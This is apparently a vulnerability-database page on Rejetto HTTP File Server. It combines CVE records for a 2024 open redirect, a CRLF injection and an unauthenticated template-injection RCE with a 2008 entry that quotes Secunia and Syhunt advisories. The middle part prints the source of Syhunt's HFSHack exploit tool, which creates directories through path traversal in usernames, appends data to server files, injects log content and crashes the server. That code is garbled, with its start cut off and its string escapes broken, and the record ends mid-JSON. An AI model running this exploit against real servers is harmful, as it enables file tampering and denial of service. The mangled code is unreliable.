All the vulnerabilites related to Rejetto - Http File Server
cve-2024-1227
Vulnerability from cvelistv5
Published
2024-03-12 15:11
Modified
2024-08-02 17:02
Summary
Multiple vulnerabilities in Rejetto's Http File Server
Impacted products
Rejetto Http File Server
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:33:25.158Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-rejettos-http-file-server"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-1227",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-02T17:02:40.501815Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-02T17:02:56.714Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Http File Server ",
          "vendor": "Rejetto ",
          "versions": [
            {
              "status": "affected",
              "version": "2.2a, build #124"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Rafael Pedrero"
        }
      ],
      "datePublic": "2024-02-05T14:58:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "An open redirect vulnerability, the exploitation of which could allow an attacker to create a custom URL and redirect a legitimate page to a malicious site."
            }
          ],
          "value": "An open redirect vulnerability, the exploitation of which could allow an attacker to create a custom URL and redirect a legitimate page to a malicious site."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-178",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-178 Cross-Site Flashing"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601 URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-12T15:12:03.568Z",
        "orgId": "0cbda920-cd7f-484a-8e76-bf7f4b7f4516",
        "shortName": "INCIBE"
      },
      "references": [
        {
          "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-rejettos-http-file-server"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\n\n\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vulnerability has been fixed in subsequent versions. The affected version is not currently supported.\u003c/span\u003e\n\n\u003cbr\u003e"
            }
          ],
          "value": "\nThe vulnerability has been fixed in subsequent versions. The affected version is not currently supported.\n\n"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Multiple vulnerabilities in Rejetto\u0027s Http File Server",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "0cbda920-cd7f-484a-8e76-bf7f4b7f4516",
    "assignerShortName": "INCIBE",
    "cveId": "CVE-2024-1227",
    "datePublished": "2024-03-12T15:11:26.293Z",
    "dateReserved": "2024-02-05T11:44:28.901Z",
    "dateUpdated": "2024-08-02T17:02:56.714Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2024-23692
Vulnerability from cvelistv5
Published
2024-05-31 09:36
Modified
2024-08-19 07:47
Severity ?
Summary
Rejetto HTTP File Server 2.3m Unauthenticated RCE
Impacted products
RejettoHTTP File Server
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:rejetto:http_file_server:2.3m:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "http_file_server",
            "vendor": "rejetto",
            "versions": [
              {
                "lessThanOrEqual": "2.3m",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-23692",
                "options": [
                  {
                    "Exploitation": "active"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-12T03:55:17.635887Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2024-07-09",
                "reference": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
              },
              "type": "kev"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-12T10:51:42.062Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-19T07:47:47.114Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "third-party-advisory",
              "x_transferred"
            ],
            "url": "https://vulncheck.com/advisories/rejetto-unauth-rce"
          },
          {
            "tags": [
              "third-party-advisory",
              "technical-description",
              "x_transferred"
            ],
            "url": "https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/rapid7/metasploit-framework/pull/19240"
          },
          {
            "url": "https://www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "HTTP File Server",
          "vendor": "Rejetto",
          "versions": [
            {
              "lessThanOrEqual": "2.3m",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Arseniy Sharoglazov"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.\u003cbr\u003e"
            }
          ],
          "value": "Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Private exploits are known to exist\u003cbr\u003e"
            }
          ],
          "value": "Private exploits are known to exist"
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-242",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-242 Code Injection"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1336",
              "description": "CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-05-31T12:55:57.980Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vulncheck.com/advisories/rejetto-unauth-rce"
        },
        {
          "tags": [
            "third-party-advisory",
            "technical-description"
          ],
          "url": "https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/"
        },
        {
          "url": "https://github.com/rapid7/metasploit-framework/pull/19240"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "tags": [
        "unsupported-when-assigned"
      ],
      "title": "Rejetto HTTP File Server 2.3m Unauthenticated RCE",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2024-23692",
    "datePublished": "2024-05-31T09:36:28.763Z",
    "dateReserved": "2024-01-19T17:35:14.201Z",
    "dateUpdated": "2024-08-19T07:47:47.114Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2024-1226
Vulnerability from cvelistv5
Published
2024-03-12 15:07
Modified
2024-08-05 17:48
Summary
Multiple vulnerabilities in Rejetto's Http File Server
Impacted products
Rejetto Http File Server
Show details on NVD website


{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T18:33:25.120Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-rejettos-http-file-server"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:rejetto:http_file_server:2.2a:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "http_file_server",
            "vendor": "rejetto",
            "versions": [
              {
                "status": "affected",
                "version": "2.2a"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-1226",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-05T15:41:01.852952Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-05T17:48:59.065Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Http File Server ",
          "vendor": "Rejetto ",
          "versions": [
            {
              "status": "affected",
              "version": "2.2a, build #124"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Rafael Pedrero"
        }
      ],
      "datePublic": "2024-02-05T14:58:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "The software does not neutralize or incorrectly neutralizes certain characters before the data is included in outgoing HTTP headers. The inclusion of invalidated data in an HTTP header allows an attacker to specify the full HTTP response represented by the browser. An attacker could control the response and craft attacks such as cross-site scripting and cache poisoning attacks."
            }
          ],
          "value": "The software does not neutralize or incorrectly neutralizes certain characters before the data is included in outgoing HTTP headers. The inclusion of invalidated data in an HTTP header allows an attacker to specify the full HTTP response represented by the browser. An attacker could control the response and craft attacks such as cross-site scripting and cache poisoning attacks."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-15",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-15 Command Delimiters"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-93",
              "description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-12T15:07:22.921Z",
        "orgId": "0cbda920-cd7f-484a-8e76-bf7f4b7f4516",
        "shortName": "INCIBE"
      },
      "references": [
        {
          "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-rejettos-http-file-server"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\n\n\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vulnerability has been fixed in subsequent versions. The affected version is not currently supported.\u003c/span\u003e\n\n\u003cbr\u003e"
            }
          ],
          "value": "\nThe vulnerability has been fixed in subsequent versions. The affected version is not currently supported.\n\n"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Multiple vulnerabilities in Rejetto\u0027s Http File Server",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "0cbda920-cd7f-484a-8e76-bf7f4b7f4516",
    "assignerShortName": "INCIBE",
    "cveId": "CVE-2024-1226",
    "datePublished": "2024-03-12T15:07:18.532Z",
    "dateReserved": "2024-02-05T11:44:28.014Z",
    "dateUpdated": "2024-08-05T17:48:59.065Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

var-200801-0091
Vulnerability from variot

Multiple directory traversal vulnerabilities in HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allow remote attackers to create arbitrary (1) files and (2) directories via a .. (dot dot) in an account name, when requesting the / URI; and (3) append arbitrary data to a file via a .. (dot dot) in an account name, when requesting a URI composed of a "/?%0a" sequence followed by the data. A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.


A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI has been released. The new version includes many new and advanced features, which makes it even easier to stay patched.

Download and test it today: https://psi.secunia.com/

Read more about this new version: https://psi.secunia.com/?page=changelog


TITLE: HTTP File Server Multiple Vulnerabilities

SECUNIA ADVISORY ID: SA28631

VERIFY ADVISORY: http://secunia.com/advisories/28631/

CRITICAL: Moderately critical

IMPACT: Cross Site Scripting, Spoofing, Manipulation of data, Exposure of system information, DoS, System access

WHERE:

From remote

SOFTWARE: HTTP File Server 2.x http://secunia.com/product/16793/

DESCRIPTION: Felipe Aragon and Alec Storm have reported some vulnerabilities and security issues in HTTP File Server, which can be exploited by malicious people to disclose system information, conduct spoofing and cross-site scripting attacks, bypass certain security restrictions, manipulate data, and potentially compromise a vulnerable system.

1) The application does not correctly log certain input. This can be exploited to e.g. spoof the username or inject arbitrary content into the logfile when logging in.

2) Certain input is not properly sanitised before being returned to a user.

3) It is possible to disclose certain information (e.g. number of connections, transfer speed, traffic statistics, or uptime) by sending specially crafted request containing template symbols.

4) The application does not correctly handle the username before using it to create the file name of the logfile. This can be exploited to create directories, append data to files, or to cause a buffer overflow by sending specially crafted requests to a vulnerable server.

Successful exploitation allows the execution of arbitrary code, but requires that the "%user%" template symbol is used to define the name of the logfile.

SOLUTION: Some of the vulnerabilities are fixed in version 2.2c. http://www.rejetto.com/hfs/?f=dl

PROVIDED AND/OR DISCOVERED BY: Felipe Aragon and Alec Storm, Syhunt Security Research Team

ORIGINAL ADVISORY: http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0008.html http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0009.html http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0010.html


About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.

Subscribe: http://secunia.com/secunia_security_advisories/

Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/

Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.


Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org


. #!/usr/bin/python

"""

HFSHack 1.0b (By Felipe M. Examples:\n' ' manipf inject.html index.html or ..\..\index.html\n' ' Note: If the file does not exists, it will be created.\n\n' 'maniplog [localfilename]\n' ' Injects content of a local file to the HFS log panel and file\n\n' 'mkd [dirname]\n' ' Creates directories. Examples:\n' ' mkd Test or ..\..\Windows\Test\n\n' 'symbols\n' ' Forces HFS to reveal details about the server\n\n' 'ver\n' ' Forces HFS to show its version and build, and displays which\n\n' ' HFSHack commands are available for it\n' 'quit\n' ' Exits this application' '\r\n')

readme = ( '(c) 2008 Syhunt Security. All rights reserved.\n\n' 'This tool is provided ''as-is'', without any expressed or implied\n' 'warranty. In no event will the author be held liable for any\n' 'damages arising from the use of this tool.\n\n' 'Permission is granted to anyone to use this tool, and to alter\n' 'it and redistribute it freely, subject to the following\n' 'restrictions:\n\n' '1. The origin of this tool must not be misrepresented, you must\n' ' not claim that you wrote the original tool.\n\n' '2. Altered source versions must be plainly marked as such, and\n' ' must not be misrepresented as being the original plugin.\n\n' '3. This notice may not be removed or altered from any source\n' ' distribution.\n\n' 'If you have any questions concerning this license, please email\n' 'contact at syhunt dot com\n' )

about = ( '----------------------------------------------------------------\n' ' Syhunt HFSHack 1.0b\n' '----------------------------------------------------------------\n\n' 'This exploit tool should be used only by system administrators\n' '(or other people in charge).\n\n' 'Type "readme" and read the text before continuing\n\n' 'If you have already read it, type "help" to view a list of\n' 'commands.' )

Extra Details to Obtain

symbol_list = ( 'connections;Current number of connections to HFS', 'timestamp;Date and time of the server', 'uptime;Uptime', 'speed-out;Current outbound speed', 'speed-in;Current inbound speed', 'total-out;Total amount of bytes sent', 'total-downloads;Total amount of bytes sent', 'total-hits;Total Hits', 'total-uploads;Total Uploads', 'number-addresses;Current number of connected clients (IPs)', 'number-addresses-ever;Number of unique IPs ever connected', 'number-addresses-downloading;Current number of downloading clients (IPs)', )

Affected Versions

re_200801161 = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_200801162 = '^HFS(.?)(2.2$|2.2[a-b]|2.3 beta)' re_200801163 = '^HFS(.?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_cangetver = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b])'

Common Messages

msg_par_mis = 'Parameter(s) missing.' msg_done = 'Done.\n' msg_acc_file = 'Error reading local file (file not found):' msg_help = 'Type "help" to view a list of commands.' msg_err_con = 'Error Connecting:' msg_fail = 'Failed.' msg_req_ok = 'Request accepted.'

uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)'; path = '/' # Default Path

def dorequest(hpath,auth_data,s_msg,f_msg): globals()["rcvd"] = '' globals()["banner"] = '' url = 'http://'+host+hpath try: opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', uagent)] if auth_data != '': opener.addheaders = [('Authorization', 'Basic '+auth_data)] globals()["rcvd"] = opener.open(url).readlines() if 'server' in opener.open(url).headers: globals()["banner"] = opener.open(url).headers['server'] except Exception, msg: if f_msg != '': print f_msg,msg return False else: if s_msg != '': print s_msg return True

def genbase64str(string): base64str = base64.encodestring(string); base64str = base64str.replace("\n","") return base64str

def readlocalfile(filename): file = open(filename, "r") text = file.readlines() file.close() print text filecontentstr = '' for l in text: filecontentstr = filecontentstr+l return filecontentstr

def ishostavailable(): return dorequest(path,'','',msg_err_con)

def getservinfo(symbol,desc): base64str = base64.encodestring('%'+symbol+'%'); if dorequest(path,base64str,'',msg_err_con): for l in rcvd: hfsver = re.findall('(.*?)', l) for r in hfsver: if r != []: hfsverdec = urllib2.unquote(hfsver[0]) if desc != '': print desc+': '+hfsverdec return hfsverdec else: return ''

def getallservinf(): for l in symbol_list: curl = l.split(';') getservinfo(curl[0],curl[1])

def hfsmkdir(dirname): base64str = genbase64str('\..\'+dirname+'\')+'AA'; dorequest(path,base64str,msg_req_ok,msg_fail)

def shutdownhfs(): dosstr = genbase64str('a' * 270 + ':') if dorequest(path,dosstr,msg_fail,'DoS executed.'): dorequest(path,'','Host is still up.','Host is now down.')

def hfsappendtofile(filename,string): base64str = genbase64str('\..\'+filename)+'AA'; dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail)

def hfsinjecttolog(string): base64str = genbase64str(string); dorequest('/',base64str,msg_req_ok,msg_fail)

def procparams(cmd): try: if len(cmd) > 0: if cmd[1] != []: globals()["host"] = cmd[1] except: print "No target info provided. Using localhost"

def checkxss(): if ishostavailable(): curver = getservinfo('version','') if curver != '': return 'XSS Found' else: return 'Not Vulnerable' else: return msg_fail

def isbanner(regex): p = re.compile(regex) m = p.match(banner) return m

def showacceptedcmds(): cmds = 'None (This server is not vulnerable)'; if isbanner(re_200801161): cmds = 'checkxss symbols ver' if isbanner(re_200801162): cmds = cmds+' manipf mkd checkdos' if isbanner(re_200801163): cmds = cmds+' maniplog' print '\nAvailable commands for this server:' print ' '+cmds+'\n'

def showver(): cangetver = True if banner != '': server_name = banner.split() print banner if server_name[0] != 'HFS': print 'Not running HFS!' cangetver = False else: if isbanner(re_cangetver): print 'Confirming version...' else: cangetver = False else: print 'No version information found.' print 'The "Send HFS identifier" option is probably disabled.' print 'Trying to force HFS to display its version...' if cangetver == True: idver = getservinfo('version','HFS version number') idbuild = getservinfo('build','HFS build number') globals()["banner"] = 'HFS '+idver+' '+idbuild showacceptedcmds()

def result(s): cmd = s.split() if len(cmd) > 0: curcmd = cmd[0] result = 'Invalid command. Type "help" for list of commands.' if curcmd == 'open': procparams(cmd) if ishostavailable(): showver() result = 'Connected.\n' else: result = msg_fail elif curcmd == 'symbols': if ishostavailable(): showver() print 'Forcing HFS to reveal more details...' getallservinf() result = msg_done elif curcmd == 'ver': if ishostavailable(): showver() result = msg_done elif curcmd == 'mkd': if len(cmd) > 1: if cmd[1] != []: hfsmkdir(cmd[1]) result = msg_done else: result = msg_par_mis elif curcmd == 'manipf': if len(cmd) > 2: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: localfilecontent = localfilecontent.replace("\n","%0a") hfsappendtofile(cmd[2],localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'maniplog': if len(cmd) > 1: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: hfsinjecttolog(localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'checkdos': shutdownhfs() result = msg_done elif curcmd == 'checkxss': result = checkxss() elif curcmd == 'help': result = help elif curcmd == 'readme': result = readme elif curcmd == 'quit': result = 'Bye!' return result else: return msg_help

print about

s = "" while s != "quit": try: s = raw_input(">") except EOFError: s = "quit" print s print result(s). Syhunt: HFS (HTTP File Server) Log Arbitrary File/Directory Manipulation and Denial-of-Service Vulnerabilities

Advisory-ID: 200801162 Discovery Date: 1.16.2008 Release Date: 1.23.2008 Affected Applications: HFS 2.2 to and including 2.3(Beta Build

174)

Non-Affected Applications: HFS 2.1d and earlier versions Class: Arbitrary File/Directory Manipulation, Denial of Service Status: Patch available/Vendor informed Vendor: Massimo Melina Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net

The Common Vulnerabilities and Exposures (CVE) project has assigned the following CVEs to these vulnerabilities: * CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability * CVE-2008-0406 - Denial of Service (DoS) Vulnerability


Overview: HFS is a very popular open source HTTP server designed for easily sharing files. According to information on the official website, the HTTP File Server software has been downloaded about 2 million times.

Description: HFS (versions 2.2 to 2.3 beta) will not check if an account name provided during navigation exists or contains any invalid chars before logging information about a request. This is specially dangerous if the server has been configured to use account names as log filenames. Technical details are included below.

2) Denial of Service (DoS) Vulnerability http://www.syhunt.com/advisories/hfshack.txt "checkdos" command

  • HFS will close immediately after receiving the DoS request

  • This issue is related to Windows limitations with long filenames. XP has a limit of 255 characters; Windows Vista a 260 chars limit.


Vulnerability Status: The vendor was contacted and has immediately released HFS 2.2c which fixes these problems. The new version can be downloaded at www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu.

As a workaround for the affected releases, users can temporarily disable the logging feature or remove the %user% symbol from the log filename.

Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build.

HFS 2.3 Beta specifically is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default. Details provided are strictly for educational and defensive purposes.

Syhunt is not liable for any damages caused by direct or indirect use of the information provided by this advisory

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-200801-0091",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "http file server",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "hfs",
        "version": "2.2b"
      },
      {
        "model": "http file server",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "rejetto",
        "version": "2.2c"
      },
      {
        "model": "http file server",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "hfs",
        "version": "2.2b"
      },
      {
        "model": "file server http file server 2.3",
        "scope": null,
        "trust": 0.3,
        "vendor": "http",
        "version": null
      },
      {
        "model": "file server http file server beta",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "http",
        "version": "2.3"
      },
      {
        "model": "file server http file server 2.2b",
        "scope": null,
        "trust": 0.3,
        "vendor": "http",
        "version": null
      },
      {
        "model": "file server http file server 2.2a",
        "scope": null,
        "trust": 0.3,
        "vendor": "http",
        "version": null
      },
      {
        "model": "file server http file server",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "http",
        "version": "2.2"
      },
      {
        "model": "file server http file server 1.5g",
        "scope": null,
        "trust": 0.3,
        "vendor": "http",
        "version": null
      },
      {
        "model": "file server http file server 2.2c",
        "scope": "ne",
        "trust": 0.3,
        "vendor": "http",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "BID",
        "id": "27423"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
